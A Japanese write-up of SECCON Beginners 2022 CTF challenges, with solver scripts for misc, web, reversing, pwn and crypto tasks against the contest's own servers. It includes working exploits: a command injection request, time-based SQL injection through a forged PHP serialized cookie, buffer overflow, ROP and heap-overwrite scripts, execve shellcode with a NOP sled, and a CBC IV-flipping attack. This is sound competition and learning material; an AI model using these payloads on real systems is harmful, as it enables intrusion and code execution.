SECCON Beginners 2022 writeup

昨年までKUDoSで参加してましたが、
今年はソロ参加してました。(team:Shinra Company)
結果は19位で普段やらないジャンルも挑戦できてとても良かった。

目次

misc

phisher

打ち込んだ文字列をとあるフォントで画像出力し、それを再度画像から文字列として認識させる。
この時に’www[.]example[.]com’に出てくる文字列を使用せずに’www[.]example[.]com’として解釈させる問題。

答えとしては’ωωω․ехамрІе․сом’とかで通る。
バイト列で言うと以下
‘\xcf\x89\xcf\x89\xcf\x89\xe2\x80\xa4\xd0\xb5\xd1\x85\xd0\xb0\xd0\xbc\xd1\x80\xd0\x86\xd0\xb5\xe2\x80\xa4\xd1\x81\xd0\xbe\xd0\xbc’

(上のやつコンテスト中はなぜか通らずに発狂していた、その時はωを色々変えてみたら通った。why)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
from pwn import *
import sys

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "phisher.quals.beginners.seccon.jp"
PORT = 44322

conn = remote(HOST, PORT)
fqdn = 'ωωω․ехамрІе․сом'
#fqdn = 'ωωŵ․ехамрІе․сом'

conn.sendlineafter(": ", fqdn)

conn.interactive()

生成される画像

H2

pcapファイルが配布される。
HTTP2の大量の通信のどこかに出力されてるx-flagヘッダにflagがあるらしい。
5億年ぶりにwiresharkを起動した。
大体のレスポンスがLength:49なので、フィルタに”http2.length > 49”を入力

ultra_super_miracle_validator

cソースコードを渡したらそれをコンパイルして実行してくれる。
ただyaraでいくつかのルールが定義されていて、それをパスしないと実行してくれない。
最初見た時なんかの命令が禁止されているのかと思ったが、ルールをよく見ると定義された文字列を含めたらパスできる感じだった。
charの配列としてそれらの文字列を定義しておけば、コンパイル後もその文字列が出てくるはずなので適当に定義した後、system(“/bin/sh”)を実行するcコードを送信する

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "ultra-super-miracle-validator.quals.beginners.seccon.jp"
PORT = 5000

conn = remote(HOST, PORT)

code = ''
code = 'char* x1="\\xe3\\x82\\x89\\xe3\\x81\\x9b\\xe3\\x82\\x93\\xe9\\x9a\\x8e\\xe6\\xae\\xb5";'
code += 'char* x9="\\xe7\\xb4\\xab\\xe9\\x99\\xbd\\xe8\\x8a\\xb1";'
code += 'char* x4="\\xe3\\x82\\xa4\\xe3\\x83\\x81\\xe3\\x82\\xb8\\xe3\\x82\\xaf\\xe3\\x81\\xae\\xe3\\x82\\xbf\\xe3\\x83\\xab\\xe3\\x83\\x88";'
code += 'char* x12="\\x83\\x4a\\x83\\x75\\x83\\x67\\x92\\x8e";'
code += 'char* x19="\\x8e\\x87\\x97\\x7a\\x89\\xd4";'
code += 'char* x8="\\xe5\\xa4\\xa9\\xe4\\xbd\\xbf";'
code += 'char* x20="\\x94\\xe9\\x96\\xa7\\x82\\xcc\\x8d\\x63\\x92\\xe9";'
code += 'char* x6="\\xe7\\x89\\xb9\\xe7\\x95\\xb0\\xe7\\x82\\xb9";'
code += 'char* x25="\\x30\\xc9\\x30\\xed\\x30\\xed\\x30\\xfc\\x30\\xb5\\x30\\x78\\x30\\x6e\\x90\\x53";'
code += 'char* x21="\\x30\\x89\\x30\\x5b\\x30\\x93\\x96\\x8e\\x6b\\xb5";'
code += 'char* x3="\\xe5\\xbb\\x83\\xe5\\xa2\\x9f\\xe3\\x81\\xae\\xe8\\xa1\\x97";'
code += 'char* x14="\\x83\\x43\\x83\\x60\\x83\\x57\\x83\\x4e\\x82\\xcc\\x83\\x5e\\x83\\x8b\\x83\\x67";'
code += 'char* x26="\\x72\\x79\\x75\\x70\\x70\\xb9";'
code += 'char* x34="\\x2b\\x4d\\x4b\\x51\\x2d\\x2b\\x4d\\x4d\\x45\\x2d\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4b\\x38\\x2d\\x2b\\x4d\\x47\\x34\\x2d\\x2b\\x4d\\x4c\\x38\\x2d\\x2b\\x4d";'
code += 'char* x36="\\x2b\\x63\\x6e\\x6b\\x2d\\x2b\\x64\\x58\\x41\\x2d\\x2b\\x63";'
code += 'char* x37="\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4f\\x63\\x2d\\x2b\\x4d\\x4d\\x4d\\x2d\\x2b";'
code += 'void main(){system("/bin/sh");}'

def exploit():
conn.sendlineafter(":\n",code)
conn.interactive()

if __name__ == "__main__":
exploit()

hitchhike4b

SECCON 2021で苦しめられたhitchhike
一応リベンジはできた。。。

端的に言うと1つ目は__main__,2つ目は一つ目で得られたpythonファイル名を入力すると変数が得られる。

以下コンソールの対話

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
help> __main__
Help on module __main__:

NAME
__main__

DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
...

NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

web

Util

OS Command Injection
ブラウザからは直接打てないのでBurpなり、curlなりを使って直接送信する。

1
2
3
4
5
6
7
POST /util/ping HTTP/1.1
Host: util.quals.beginners.seccon.jp
Content-Type: application/json
Content-Length: 26
Connection: close

{"address":";ls -al ../;"}

flagのファイル名が’flag_A74FIBkN9sELAjOc.txt’とわかるので上のコマンドをcat flag_xxx.txtにしてflagげと

textex

texのテキストを渡すとそれをpdfに変換してくれる。

‘flag’の文字列があると弾かれるので、
ファイルを埋め込む構文と変数を使ってpdfに埋め込む

1
2
3
4
5
6
7
8
9
10
11
12
\documentclass{article}
\usepackage{verbatim}
\newcommand{\fl}{fl}
\newcommand{\ag}{ag}
\begin{document}

This is a sample.

\verbatiminput{\fl\ag}

\end{document}

ファイルの閲覧サービス
拡張子で検索する機能でflagのファイル名を特定

https://gallery.quals.beginners.seccon.jp/?file_extension=fl

普通にflagを取得しようとすると?だけのテキストが返ってくる。
サーバ側で10240を超えるファイルだと変換されてしまうみたいなのでRangeヘッダを使用する。

1
2
3
4
GET /images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf HTTP/1.1
Host: gallery.quals.beginners.seccon.jp
Range: bytes=0-10239
Connection: close

serial

html/database.phpにあからさまなSQL injectionがある。

1
2
3
4
5
6
7
8
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);

認証を検証する関数loginとかで呼ばれており、cookieの__CREDにセットされたPHPオブジェクトを
unseriarizeしてsql文に挿入される。

以下はtime basedでflagテーブルからflagを抜き取るコード
別にtime basedである必要はない

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3

import base64
import urllib.parse
import requests
import string

url = b"https://serial.quals.beginners.seccon.jp/"
c_array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789!$-.<=>?@_*"

if __name__ == '__main__':
flag = 'ctf4b{'
i = 7
while '}' not in flag:
for c in c_array:
#sql = "test' union select if(1=1,(sleep(5),'1','1'),(1,'1','1')) -- '"
sql = "test' union select (select if(substring(body,{},1)='{}',sleep(5),1) from flags),'1','1' -- '".format(i,c)
serial = "O:4:\"User\":3:{s:2:\"id\";s:1:\"1\";s:4:\"name\";s:"
serial += str(len(sql))
serial += ":\""
serial += sql
serial += "\";s:13:\"password_hash\";s:60:\"$2y$10$4XgUYL3zRJd6Ft4bzfsjBe8SKRm1XrXXbD6TssbeNHinhgfyFAJfC\";}"
my_cookie = {"__CRED": base64.b64encode(serial.encode()).decode("utf-8")}
try:
res = requests.get(url, cookies=my_cookie, timeout=3)
except Exception as e:
flag += c
break
if c == '*':
print(flag)
exit(1)
print("flag:" + flag)
i+=1

reversing

Quiz

コマンドstrings

1
2
$ strings quiz |grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

EXEファイルが配られる。
idaで見るとcheck関数という怪しい関数がある。

strcmpでブレークポイント張って見るとflagが2回にわたってチェックされている。
チェックされている文字列は以下に格納されてた

愚直にctf4b{ABCDE…}みたいに入力をして、比較対象の文字列中のAがどこに現れるか、を一つずつ確認してflagを復元した。

Recursive

名前の通り再起的に関数が呼ばれている。
flagを2分割して前半と後半を再度関数の引数にしている。

再起的に呼ばれる関数の疑似コード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void check(char* ptr, int off)
{
int half;
int len = strlen(ptr);
char* ptr1, ptr2;
if(len == 1){
if(ptr[0] == enc_flag[off])
return 0;
else
return 1;
}
half = len>>1;
ptr1 = malloc(half);
strcpy(ptr1, ptr, half);
if(check(ptr1, off) ==1 ) return 1;

ptr2 = malloc(len-half);
strcpy(ptr2, &ptr[half], len-half);
if(check(ptr1, off+half*half)
}

復号するsolver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>

unsigned long table[512/8] = {
0x2b2834662a607463, 0x31382e2235396362,
0x2f6333726d687b62, 0x353b267b3a40727d,
0x2c683c2a646f3431, 0x6c3f77786d64276e,
0x656e296f79286765, 0x2f7160287b2d6a2b,
0x2b3024287c337272, 0x636e5f7b7a2e7335,
0x7631737b24727561, 0x7121682970212535,
0x385f406c3d3c7427, 0x34636f775f333968,
0x6162633f3e25646c, 0x3c6c7c786761643c,
0x2d6b60792c792f62, 0x2c38267b3b3d7b37,
0x7d636b6b24357538, 0x306d743c40713740,
0x797631662c263a33, 0x326c796425382762,
0x23713731373f6728, 0x6f76292877663e75,
0x5f293a296736246f, 0x62672e76382b5f63,
0x683c28772425286d, 0x767572276321313a,
0x722161796033407d, 0x676f5f7a353b2635,
0x733332633961306d, 0x777c23692e2d776d,
0x77766670656b387b, 0x653c3566337c333a,
0x733e712c2a7d3a40, 0x7830726b64622167,
0x682a352f683e4037, 0x7b7c273934373c69,
0x242c303b316a7329, 0x30743d2976266769,
0x226a33307c6b6e66, 0x7d69747d7b72377d,
0x756a7877733c5f3f, 0x216264266c216b31,
0x2a367d7a217d3a6a, 0x407331667b5f3160,
0x35346f69762c6433, 0x33765f6376345f3c,
0x79622b3e3375683e, 0x292b664023237176,
0x69392b773139636c, 0x72723b723c762337,
0x763e746128407524, 0x6d736a6062373a6e,
0x6d392b7b796d3667, 0x755f707079722d5f,
0x38667d2e362a6e35, 0x71262d6d3c677070,
0x753d3f66336b3571, 0x3c396e3f5f6d7d31,
0x66252f2d2a74657c, 0x5f40286d312e6867,
0x296e286934667633, 0x346d3067766a3273
};

#define FLAG_LEN 0x26

int a_idx[FLAG_LEN] = {0};

void plus_idx(int off, int l)
{
int i;
if(l == 1){
return;
}
else {
int div = l/2;
for(i = div; i < l; i++){
a_idx[off+i] += (div*div);
}
plus_idx(off,l/2);
plus_idx(off+l/2, l - (l/2));
}
}

void main()
{
int i;
char* flag = (char*)table;

plus_idx(0, FLAG_LEN);

for(i = 0; i < FLAG_LEN; i++){
printf("%c", flag[a_idx[i]]);
}
printf("\n");
}

Ransom

暗号化されたflagとRC4の暗号鍵が送信されているpcapファイルが渡される。
これはもうやるだけとしか言いようがない。

以下ソルバ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

unsigned char enc_flag[0x32] = {
0x2b,0xa9,0xf3,0x6f,0xa2,0x2e,0xcd,0xf3,
0x78,0xcc,0xb7,0xa0,0xde,0x6d,0xb1,0xd4,
0x24,0x3c,0x8a,0x89,0xa3,0xce,0xab,0x30,
0x7f,0xc2,0xb9,0x0c,0xb9,0xf4,0xe7,0xda,
0x25,0xcd,0xfc,0x4e,0xc7,0x9e,0x7e,0x43,
0x2b,0x3b,0xdc,0x09,0x80,0x96,0x95,0xf6,
0x76,0x10
};

unsigned char random[0x10] = {0x72,0x67,0x55,0x41,0x76,0x76,0x79,0x66,0x79,0x41,0x70,0x4e,0x50,0x45,0x59,0x67};

unsigned char map[0x100] = {0};

void main()
{
int i, j, l;
unsigned char t;
for(i = 0; i < 0x100; i++){
map[i] = i;
}
t = 0;
for(i = 0; i < 0x100; i++){
t = (t+map[i]+random[i%0x10])&0xff;
map[t] ^= map[i];
map[i] ^= map[t];
map[t] ^= map[i]; // swap
}
i = 0;
j = 0;
for(l = 0; l<0x32; l++) {
i += 1;
j = (j+map[i])&0xff;
map[j] ^= map[i];
map[i] ^= map[j];
map[j] ^= map[i];
enc_flag[l] ^= map[(map[i]+map[j])&0xff];
}
printf("%s\n", enc_flag);
}

please_not_debug_me

配布されたバイナリの中にさらにエンコードされたELFが埋め込まれている。
デコードは全体を0x16するだけ、バイナリ中ではELF全体をデコードしないのでgdbでループの回数をいじって全体をデコードさせた後
memorydumpとかでELFを抽出する。

抽出されたELFはptraceを検知するようになっていてgdbとかで開くと正常な処理フローを通らない。
バイナリエディタなどでexit@pltをret(0xc3)に書き換えれば普通にデバッグできる。
あとはRC4をやっていることがわかるので、内部状態、暗号文、鍵をこれまたgdbで取得してソルバを書く。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

#data = base64.b64decode("<encrypted file contents>")
data = "\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00"
key = "b06aa2f5a5bdf6caa7187873465ce970d04f459d"

S = range(256)
j = 0
out = []

#KSA Phase
for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256
S[i] , S[j] = S[j] , S[i]

#PRGA Phaseu
i = j = 0
for char in data:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))

print(''.join(out))

pwn

BeginnersBof

単純なBOF
stackのアラインメントの関係でwin+1に飛ばす

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "beginnersbof.quals.beginners.seccon.jp"
PORT = 9000

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = elf.symbols["win"]

def exploit():
bufsize = 0x28
conn.recvline()
conn.sendline("255")
conn.recvline()
payload = b''
payload += p64(addr_win+1)*8
conn.sendline(payload)
conn.interactive()

if __name__ == "__main__":
exploit()

raindrop

単純なROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "raindrop.quals.beginners.seccon.jp"
PORT = 9001

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_bss = elf.bss()
plt_system = elf.plt["system"]
rdi_ret = 0x401453
rsi_r15_ret = 0x401451

def exploit():
conn.recvuntil("2 | ")
addr_stack = int(conn.recvuntil(" ")[:-1],16)
payload = b'/bin/sh\x00'*3
payload += p64(rdi_ret)
payload += p64(addr_stack-0x20)
#payload += p64(plt_system)
payload += p64(0x4011e5)

conn.sendlineafter("understand?\n", payload)

conn.interactive()

if __name__ == "__main__":
exploit()

simplelist

heap上にoverflowがあるので、単方向リストを書き換えることができる。
EIPがdisableなのでAAR,AAWも簡単に作れる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "simplelist.quals.beginners.seccon.jp"
PORT = 9003

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_bss = elf.bss()
got_atoi = elf.got["atoi"]

libc = ELF('./libc-2.33.so')
off_stdout = libc.symbols["_IO_2_1_stdout_"]
off_system = libc.symbols["system"]
rdi_ret = 0x401453
rsi_r15_ret = 0x401451

def add(data):
conn.sendlineafter("> ", "1")
conn.recvuntil("at ")
addr = int(conn.recvline(),16)
conn.sendlineafter(": ", data)
return data

def edit(idx,data):
conn.sendlineafter("> ", "2")
conn.sendlineafter(": ", str(idx))
conn.sendlineafter(": ", data)

def show():
conn.sendlineafter("> ", "3")

def exploit():
add("hoge")
chk2 = add("hoge")
payload = b'\x00'*0x20
payload += p64(0x31)
payload += p64(0x4036c8)
payload += p64(0)
edit(0, payload)
show()
conn.recvuntil("list[2]")
conn.recvuntil(" ")

libc_stdout = align2qword(conn.recvline()[:-1]) # align2qword() is original function
libc_base = libc_stdout - off_stdout
libc_system = libc_base + off_system
print(hex(libc_base))

payload = b'\x00'*0x20
payload += p64(0x31)
payload += p64(got_atoi-8)
payload += p64(0)
edit(0, payload)

edit(2, p64(libc_system))
conn.interactive()

snowdrop

static linkなのでraindropのようにROPはできない。
スタックのアドレスは教えてくれる。
NXがdisableなのでstackにシェルコードを仕込んで,nopスレッドでアドレスを誤魔化す。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

def exploit():
conn.recvuntil("6 | ")
addr_stack = int(conn.recvline(),16)
payload = b'a'*0x18
payload += p64(0x401970)*3
payload += p64(addr_stack)
payload += b'\x90'*0x400
payload += shellcode
conn.recvuntil("understand?")
conn.sendline(payload)
conn.interactive()

if __name__ == "__main__":
exploit()

crypto

CoughingFox

1文字ずつ暗号化して、それをシャッフルしている。

1
2
3
4
5
6
7
8
9
10
11
12
from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)

shuffle(cipher)

ソルバを書くだけ。
一意にも止まらなかった書き直すつもりだったけど、愚直なコードでも復号できたのでヨシ!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import math

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
l_flag = list(flag)

for i in range(len(cipher)):
for j in range(len(flag)):
r = math.sqrt(cipher[i] - j)
if r == int(r):
l_flag[j] = chr(int(r)-j)

print(''.join(l_flag))

Command

平文のコマンドからivと暗号文が渡される。

渡されたivと暗号文を再度渡すと復号した平文のコマンドを実行してくれる。
実行したいgetflagは本来実行できないが、復号時に改変したivを渡せばよい。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#!/usr/bin/python3
from pwn import *
from Crypto.Util.Padding import pad, unpad
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "command.quals.beginners.seccon.jp"
PORT = 5555
conn = remote(HOST, PORT)

conn.sendlineafter("> ", "1")
conn.sendlineafter("> ", "fizzbuzz")
conn.recvuntil(": ")
iv_enc = conn.recvline()[:-1]
iv = iv_enc[:32]
enc = iv_enc[32:]

cmd_org = pad(b"fizzbuzz",16)
cmd = pad(b"getflag",16)

iv_fake = int(iv,16) ^ int(cmd.hex(),16) ^ int(cmd_org.hex(),16)
fake_iv_enc = format(iv_fake, 'x').encode() + enc

conn.sendlineafter("> ", "2")
conn.sendlineafter("> ", fake_iv_enc)
conn.interactive()

終わりに

ソロ参加でこんなりがっつり頑張ったの久しぶりだった。
とても面白かった。